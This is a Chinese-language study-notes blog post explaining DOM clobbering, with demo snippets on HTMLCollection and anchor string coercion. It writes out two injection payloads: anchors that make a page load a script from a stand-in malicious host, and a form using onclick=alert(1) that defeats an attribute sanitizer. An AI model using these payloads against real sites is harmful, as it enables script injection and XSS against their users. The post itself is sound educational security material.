DOM clobbering
主要是学习了下这个相关的知识点,目的只是想要记录下分析过程,介绍的话就直接引用相关文章的内容了
DOM 破坏是一种将 HTML 注入页面以操作 DOM 并最终更改页面上 JavaScript 行为的技术。DOM clobbering 在XSS不可能的情况下特别有用,但您可以控制页面上的某些 HTML,其中属性id或被nameHTML 过滤器列入白名单。DOM 破坏的最常见形式是使用锚元素覆盖全局变量,然后应用程序以不安全的方式使用该变量,例如生成动态脚本 URL。
术语破坏来自这样一个事实,即您正在“破坏”对象的全局变量或属性,并用 DOM 节点或 HTML 集合覆盖它。例如,您可以使用 DOM 对象覆盖其他 JavaScript 对象并利用不安全的名称(例如submit)来干扰表单的实际submit()功能。
How to exploit DOM-clobbering vulnerabilities
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
要利用此易受攻击的代码,您可以注入以下 HTML 以someObject使用锚元素破坏引用:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>
由于两个锚使用相同的ID, DOM将它们分组到一个DOM集合中。DOM截断向量然后用这个DOM集合覆盖someObject引用。在最后一个锚元素上使用name属性,以删除someObject对象的url属性,该属性指向一个外部脚本。
这段代码最终实现的加载模式其实是这样的,如果我们能引入上面我们加入的poc的话,那么我们的window获取someObject的对象得到的就是下面的这个元素,也就是说我们的id=someObject其实是污染成功的,因为页面加载完成本身就可以进行window.控件Id进行取值
(根据 HTML 规范中所说,拥有id 属性的任何元素,以及拥有name属性的embed元素、form元素、img元素,其属性值将作为 window 对象的属性,即属性值会作为全局变量代表对应元素(前提是在JavaScript上下文作用域内没有声明这个变量名))
这边可以看到正如上面的话所说,我们的someObject变成了一个集合,我们设定的name属性会变成someObject当中的一个属性,因为上面的代码需要用到someObject.url所以我们需要设置name属性,我们在a标签当中设置了name=url,我们就可以用window.someObject.url来引用它本身这个对象,这里又设计到一个知识点,如下所示,所以我们可以通过window.someObject.url来引用它本身这个对象
HTMLCollection 接口表示一个包含了元素(元素顺序为文档流中的顺序)的通用集合(generic collection),还提供了用来从该集合中选择元素的方法和属性。
HTMLCollection 对象可以通过子元素的位置、 id属性值、name属性值来获取集合中的子元素。
这里再给大家举个例子
<div>
<img id="haha" name="pic" src="#" alt="pic_0" />
<img id="haha" name="pic" src="#" alt="pic_1" />
<img id="haha" name="pic" src="#" alt="pic_2" />
</div>
<script>
//可以这样引用name为pic的元素:
for (var i = 0; i < pic.length; i++) {
console.log(pic[i]);
console.log(window.pic[i]);
console.log("---------------------------");
//由于我们指定了id,所以window.haha.pic也可以引用到它,但是只是得到第一个
console.log(window.haha.pic)
};
</script>
这里有个注意点,为什么name=url href=//malicious-website.com/evil.js 就是url=href=//malicious-website.com/evil.js了?那是因为如果我们把a标签赋值给script标签的src属性那么就会去取href参数,给大家举个例子,如下所示,最后的结果会是什么,那就是script的src属性为我们的href所指向的链接,因为在JavaScript中,当将非字符串类型的对象当作字符串使用时,会返回该对象的字符串形式,即自动调用该对象的toString方法,所以我们将a标签当成字符串赋值的时候,就会将href赋值给它
<div id="test"><div></div></div>
<script>
window.onload = function(){
let someObject = window.kkobject || {};
let script = document.createElement('script');
script.src = kkobject;
document.body.appendChild(script);
};
</script>
<a id=kkobject href="https://www.baidu.com"></a>
可以看到对百度发起了请求,所以这里基本就解释了为什么会是上面那种情况了
Exploiting DOM clobbering to enable XSS
另一种常见的技术是将form元素与input等元素一起使用,以破坏DOM属性。例如,修改属性属性使您可以绕过在其逻辑中使用它的客户端过滤器。尽管过滤器将枚举attributes属性,但它实际上不会删除任何属性,因为属性已经被DOM节点破坏了。因此,您将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:
<form onclick=alert(1)><input id=attributes>Click me
在这种情况下,客户端过滤器将遍历DOM并遇到一个白名单表单元素。通常,过滤器会循环遍历form元素的attributes属性,并删除所有黑名单属性。但是,因为属性属性已经被输入元素破坏了,所以过滤器转而遍历输入元素。由于输入元素的长度未定义,过滤器的for循环条件(例如i这将导致onclick事件被过滤器完全忽略,从而允许在浏览器中调用alert()函数。
其实这边想说的就是如果我们调用的是下面的代码,想要去根据attribute去匹配恶意的属性内容的时候,我们可以利用上面的方式,让其无法获取到我们form表单真正的属性
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
这边举个例子
<script>
window.onload = function(){
let someObject = window.test1 || {};
console.log(window.test1.attributes);
};
</script>
<form id="test1" onclick=alert(1)><input id=attributes>Click me
console的最终结果其实就是input的标签,所以自然导致其无法遍历来删除其的相关属性
整体感受的话,所以我感觉就是其实还是全局变量的锅其实是有很多的,如果大家混着用,很容易出问题,包括我们写代码的时候获取属性的时候如果判断下他是否是我们所预想的类型,再去做操作可能能将很多未可知的输入都排除在外